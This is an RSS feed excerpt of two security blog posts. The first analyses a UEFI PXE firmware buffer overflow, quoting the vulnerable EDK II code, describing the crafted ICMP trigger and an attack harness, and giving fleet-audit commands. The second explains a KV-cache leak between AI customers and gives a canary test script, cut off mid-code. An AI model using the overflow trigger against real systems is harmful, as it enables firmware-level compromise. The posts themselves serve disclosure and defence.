      <guid>https://dev.to/slabb/a-16-year-old-buffer-overflow-boots-before-your-defenses-cve-2026-97631-in-edk-iis-pxe-driver-412i</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;There is a buffer overflow in the network-boot driver of &lt;strong&gt;TianoCore EDK II&lt;/strong&gt; - the open-source UEFI reference implementation that virtually every server BIOS on the planet derives from - and it has been there for &lt;strong&gt;sixteen years&lt;/strong&gt;. CVE-2026-97631, rated 9.5: during a PXE network boot, an oversized ICMP error message writes attacker-controlled bytes past a 504-byte struct, corrupting firmware memory - &lt;strong&gt;code execution in ring 0, before Secure Boot and TPM even load&lt;/strong&gt;. Found by Alex Matrosov and Dan Holmes. And the disclosure itself broke: AMI pushed the fix to a public repo a month ahead of the coordinated date, forcing an early advisory. The fifth disclosure-pipeline failure of the month, on the blog that has been counting them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This post: the mechanism from the actual fix diff, what the bug does and doesn't give an attacker, the embargo story, a fleet audit you can run in one line - and the headless QEMU harness I built to reproduce it (now on GitHub: &lt;a href="https://github.com/slabbdev/uefi-pxe-cve-2026-97631" rel="noopener noreferrer"&gt;slabbdev/uefi-pxe-cve-2026-97631&lt;/a&gt;), documented to the exact point where my hardware said no.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug, read from the fix
&lt;/h2&gt;

&lt;p&gt;The vulnerable code lives in &lt;code&gt;NetworkPkg/UefiPxeBcDxe/PxeBcSupport.c&lt;/code&gt; - the handler that processes ICMP error messages arriving while the firmware network-boots. Here is the actual buggy loop, from the repo, before the patch (PR &lt;a href="https://github.com/tianocore/edk2/pull/13200" rel="noopener noreferrer"&gt;#13200&lt;/a&gt;, opened Sept 28):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;CopiedLen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;IcmpError&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UINT8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Mode&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IcmpError&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// EFI_PXE_BASE_CODE_ICMP_ERROR = 504 bytes&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Index&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;RxData&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FragmentCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;CopiedLen&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;RxData&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FragmentTable&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;FragmentLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// (1)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CopiedLen&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EFI_PXE_BASE_CODE_ICMP_ERROR&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;CopyMem&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IcmpError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;FragmentBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;FragmentLength&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// (2)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;CopyMem&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IcmpError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;   &lt;span class="c1"&gt;// the else branch copied too - truncated in the diff, same object&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two textbook flaws stacked: the bound is checked against the &lt;strong&gt;cumulative&lt;/strong&gt; length &lt;em&gt;after&lt;/em&gt; adding the fragment (1), and a copy happens &lt;strong&gt;in both branches&lt;/strong&gt; (2). Craft an ICMP error whose quoted payload exceeds 504 bytes - trivially, since the ICMP error body is just "original datagram" bytes you control - and the writes run past the end of the &lt;code&gt;IcmpError&lt;/code&gt; struct inside the firmware's DXE phase. The fix introduces a &lt;code&gt;FragmentLen&lt;/code&gt; variable and copies strictly bounded amounts per fragment.&lt;/p&gt;

&lt;p&gt;What that buys an attacker, precisely: memory corruption &lt;strong&gt;in ring 0, in firmware&lt;/strong&gt;, during the boot window - before the OS, before Secure Boot's runtime protections matter, before TPM-measured boot captures anything sane. The researchers note it can bypass remote attestation and break disk encryption assumptions. What it does NOT buy: this is not an internet-facing RCE. You need a position on the &lt;strong&gt;local network&lt;/strong&gt;, a target that actually does PXE network boot (datacenter servers, fat clients - not your laptop booting from disk), and per-model tuning of the exploit. It is an insider/nation-state/ransomware escalation tool, not a worm.&lt;/p&gt;

&lt;h2&gt;
  
  
  The disclosure that broke
&lt;/h2&gt;

&lt;p&gt;The coordinated embargo targeted January. Then AMI - an IBV whose BIOS AMI, Insyde, Phoenix and OEMs ship - published the fix pull request on &lt;strong&gt;September 28&lt;/strong&gt;, a month early, blowing the timeline and forcing the early advisory. The PR is still there, timestamped, from an AMI engineer. Ars asked AMD, Phoenix, AMI, Microsoft and Amazon for comment; none answered. Intel and Arm claim their products aren't directly affected, though both borrow from EDK II lineage.&lt;/p&gt;

&lt;p&gt;The month's disclosure-failure scoreboard, for those keeping count: LiteLLM reposted with scrambled dates, ZDI's private queue leaked to the public LKML, eMudhra blamed "amplification", a measured PHP advisory got dressed as BREAKING - and now an IBV broke its own embargo. Five failures, five different mechanisms, one lesson: &lt;strong&gt;the pipeline around the vulnerability is the vulnerability.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Audit your fleet - one line
&lt;/h2&gt;

&lt;p&gt;PXE is on by default on most server firmwares. The audit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# any network-boot entries in the firmware boot order?&lt;/span&gt;
efibootmgr &lt;span class="nt"&gt;-v&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s1"&gt;'pxe|network|ip4|ip6'&lt;/span&gt;

&lt;span class="c"&gt;# BMC angle: many boards can enable network boot remotely - check yours&lt;/span&gt;
ipmitool lan print 1   &lt;span class="c"&gt;# if the BMC is reachable, PXE policy is BMC policy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If nothing boots from the network and nothing can turn it on remotely, this CVE is not your fire today - but the patch wave is coming through your BIOS vendors over the next months, and unlike Secure Boot key rollovers, this one is a normal firmware update. Add "EDK II PXE fix" to the checklist of the next BIOS refresh cycle; disable network boot entirely on machines that never PXE.&lt;/p&gt;

&lt;h2&gt;
  
  
  The harness - what I built, what worked, what didn't
&lt;/h2&gt;

&lt;p&gt;I tried to reproduce the crash locally, headless, on the exact vulnerable code. The harness (three small files, in &lt;a href="https://github.com/slabbdev/uefi-pxe-cve-2026-97631" rel="noopener noreferrer"&gt;the repo&lt;/a&gt;) is genuinely reusable for any OVMF boot-testing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;bridge.py&lt;/code&gt;&lt;/strong&gt; - a Python DHCP server + attack tool on the QEMU wire: binds the QEMU &lt;code&gt;socket&lt;/code&gt; UDP netdev pair, answers DHCP DISCOVER/REQUEST, waits for the TFTP read request, then fires &lt;strong&gt;6× ICMP type-3 code-1 errors quoting a 1,200-byte fake datagram&lt;/strong&gt; into a struct with room for 504. Pure stdlib, no scapy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;router.py&lt;/code&gt;&lt;/strong&gt; - a screen-state router: classifies OVMF's screen from screendump pixel statistics (black = UEFI Shell, blue = front page/Boot Manager), then drives the headless firmware through the monitor (&lt;code&gt;sendkey&lt;/code&gt;) into the Boot Manager and onto &lt;strong&gt;UEFI PXE IPv4&lt;/strong&gt; - no display, no VNC.&lt;/li&gt;
&lt;li&gt;QEMU config: OVMF pflash, &lt;code&gt;virtio-net&lt;/code&gt; on a UDP socket netdev (no multicast flakiness), &lt;code&gt;filter-dump&lt;/code&gt; pcap tap on the wire, &lt;code&gt;-d cpu_reset&lt;/code&gt; to catch firmware triple-faults.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What worked&lt;/strong&gt;: everything up to the PXE boot attempt, reproducibly. The firmware boots, the router navigates the Boot Manager blindly and lands on the PXE screen (Client MAC banner and all), the wire tap and reset counters are live, the DHCP/attack engine is armed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What didn't&lt;/strong&gt;: the homebrew QEMU-bundled OVMF builds (IA32 and X64, q35 and i440fx) display the PXE banner and then &lt;strong&gt;transmit zero packets&lt;/strong&gt; - the DHCP Discover never leaves the firmware under TCG emulation, so the ICMP trigger never arrives at the vulnerable handler. Reproducing further needs a serial-debug OVMF build (or a real machine with PXE enabled, which I won't point an overflow at outside a lab). The harness is documented to this exact boundary on purpose: it's the difference between "I ran it" and "I read it", and today this post is honest about being the second with the doors open for the first.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Sixteen-year-old overflow in the UEFI network-boot driver, ring 0 before your defenses load, local-network attack on PXE-booting fleets - patched in EDK II and rolling out through every BIOS vendor now. Check your boot order (&lt;code&gt;efibootmgr&lt;/code&gt;), disable network boot where you don't need it, and add the fix to your firmware refresh checklist. The disclosure broke a month early, which is somehow the least surprising sentence of October.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://arstechnica.com/security/2026/10/code-execution-flaw-in-uefi-firmware-threatens-most-servers-on-planet-earth/" rel="noopener noreferrer"&gt;Ars Technica - Code-execution flaw in UEFI firmware&lt;/a&gt; · &lt;a href="https://github.com/tianocore/edk2/pull/13200" rel="noopener noreferrer"&gt;EDK II fix PR #13200&lt;/a&gt; · &lt;a href="https://github.com/tianocore/edk2/pull/13302" rel="noopener noreferrer"&gt;EDK II fix PR #13302&lt;/a&gt; · &lt;strong&gt;Harness repo: &lt;a href="https://github.com/slabbdev/uefi-pxe-cve-2026-97631" rel="noopener noreferrer"&gt;github.com/slabbdev/uefi-pxe-cve-2026-97631&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>firmware</category>
      <category>uefi</category>
      <category>infosec</category>
    </item>
    <item>
      <title>155 responses leaked between AI customers: the GLM-5.3 KV cache bug — and the canary test for YOUR provider</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Tue, 27 Oct 2026 15:09:20 +0000</pubDate>
      <link>https://dev.to/slabb/155-responses-leaked-between-ai-customers-the-glm-53-kv-cache-bug-and-the-canary-test-for-your-59n8</link>
      <guid>https://dev.to/slabb/155-responses-leaked-between-ai-customers-the-glm-53-kv-cache-bug-and-the-canary-test-for-your-59n8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Between August 27 and September 9, some responses from GLM-5.3 on Cloudflare Workers AI contained &lt;strong&gt;other customers' prompts and partial generations&lt;/strong&gt;. Not a breach of a database, not a prompt injection — the inference engine itself served &lt;strong&gt;stale KV-cache pages from previous, unrelated requests&lt;/strong&gt;, with a clean HTTP 200. Exactly &lt;strong&gt;155 responses&lt;/strong&gt; were affected, all triggered by prompts longer than &lt;strong&gt;681,280 tokens&lt;/strong&gt;. Cloudflare published the full autopsy yesterday. This post is the mechanism in four steps, why the same bug class may sit in other inference stacks, and a canary script that tests your own provider for cross-request leakage.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The detail that should stop you: &lt;strong&gt;681,280 is 65% of 1,048,576&lt;/strong&gt; — the model's context window. Someone sized the KV pool at roughly two-thirds of the context and shipped it. Everything else follows from that one number.&lt;/p&gt;

&lt;h2&gt;
  
  
  The failure chain, step by step
&lt;/h2&gt;

&lt;p&gt;From &lt;a href="https://blog.cloudflare.com/kv-cache-exposure-remediation/" rel="noopener noreferrer"&gt;Cloudflare's disclosure&lt;/a&gt;, cross-checked against &lt;a href="https://github.com/sgl-project/sglang/issues/30233" rel="noopener noreferrer"&gt;SGLang issue #30233&lt;/a&gt; (open since July 6):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The mismatch.&lt;/strong&gt; GLM-5.3 launched with a 1,048,576-token context window, but the prefill KV pool held only 681,280 tokens. Cloudflare knew the pool was smaller and &lt;em&gt;believed&lt;/em&gt; the engine would cleanly reject oversized prompts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The rejection path.&lt;/strong&gt; A prompt longer than the pool gets rejected in prefill — but in &lt;strong&gt;disaggregated prefill/decode mode&lt;/strong&gt;, the rejected prompt was "replaced with a one-token placeholder," and prefill transferred just that placeholder's KV pages to decode. No error was returned.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The uninitialized read.&lt;/strong&gt; Decode had reserved &lt;strong&gt;8 KV pages&lt;/strong&gt; for the request. Only page P0 was ever written. Attention then &lt;strong&gt;read all 8 reserved pages&lt;/strong&gt; — 7 of which still contained data from &lt;em&gt;earlier requests on the same node&lt;/em&gt;. Other customers' prompts, other customers' generations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The clean 200.&lt;/strong&gt; The response streamed out composed partly of someone else's context. No error code, no anomaly — which is why it took an external researcher, not monitoring, to catch it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two bugs overlapped: a &lt;strong&gt;configuration bug&lt;/strong&gt; (pool &amp;lt; context — Cloudflare's, and only GLM-5.3 was affected there because every other Workers AI model had a pool larger than its context) and an &lt;strong&gt;engine bug&lt;/strong&gt; (rejected requests surviving to the KV handoff — SGLang's, generic to disaggregated deployments, fixed in &lt;strong&gt;v0.5.22&lt;/strong&gt; after Cloudflare's draft PR #38704 and the merged follow-ups #36988/#38935). And a third factor that isn't a bug at all: &lt;strong&gt;KV pages aren't zeroed between requests by design&lt;/strong&gt; — performance depends on reuse. The entire safety of the architecture rests on the bookkeeping around those pages being airtight.&lt;/p&gt;

&lt;h2&gt;
  
  
  The timeline worth studying
&lt;/h2&gt;

&lt;p&gt;Reported by Gadi Evron (Knostic) via HackerOne on &lt;strong&gt;September 8, 23:11 UTC&lt;/strong&gt;. Reproduced by Cloudflare &lt;strong&gt;within 25 minutes&lt;/strong&gt;. Model private at 14:00 the next day, root cause at 14:35, fixed config at 14:52, model restored at 19:40. Coordinated disclosure published October 26 with the reporter and the SGLang maintainers, complete with page diagrams, issue links, and the exact number of affected responses.&lt;/p&gt;

&lt;p&gt;Set that next to the same month's eMudhra response (revocation in 14 hours, then blaming "social media amplification" for the scrutiny) and you have the two poles of incident handling. Cloudflare's post even ends with the hardening roadmap — KV checksums on every prefill-to-decode transfer, canaries, per-page ownership tags, and &lt;strong&gt;formal verification of the RDMA transfer protocol&lt;/strong&gt;. When the failure mode is "the bookkeeping lied," you eventually stop patching and start proving.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lab: a canary test for YOUR provider
&lt;/h2&gt;

&lt;p&gt;You cannot audit a provider's KV pool from the outside. You &lt;em&gt;can&lt;/em&gt; detect the symptom class: data from request A surfacing in the response to request B. That's exactly what Cloudflare's post-incident canaries do — here is the userland version, works against any OpenAI-compatible endpoint (point &lt;code&gt;BASE&lt;/code&gt;/&lt;code&gt;KEY&lt;/code&gt;/&lt;code&gt;MODEL&lt;/code&gt; at OpenAI, Anthropic-compatible gateways, vLLM, SGLang, llamacpp, Ollama):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# canary.py — cross-request leak smoke test for chat APIs
# usage: BASE=https://api.provider.com/v1 KEY=sk-... MODEL=... python3 canary.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;

&lt;span class="n"&gt;BASE&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BASE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# e.g. http://localhost:8000/v1
&lt;/span&gt;&lt;span class="n"&gt;KEY&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;MODEL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MODEL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;canary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CANARY-&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ascii_lowercase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digits&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/chat/completions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;MODEL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;messages&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                       &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_tokens&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;temperature&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;application/json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;# A — plant the canary
&lt;/span&gt;&lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;([{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Internal ref for this session: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;canary&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;. Reply with &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;noted&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; only.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}])&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[A] canary planted: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;canary&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# B — unrelated requests; scan every response for the canary
&lt;/span&gt;&lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
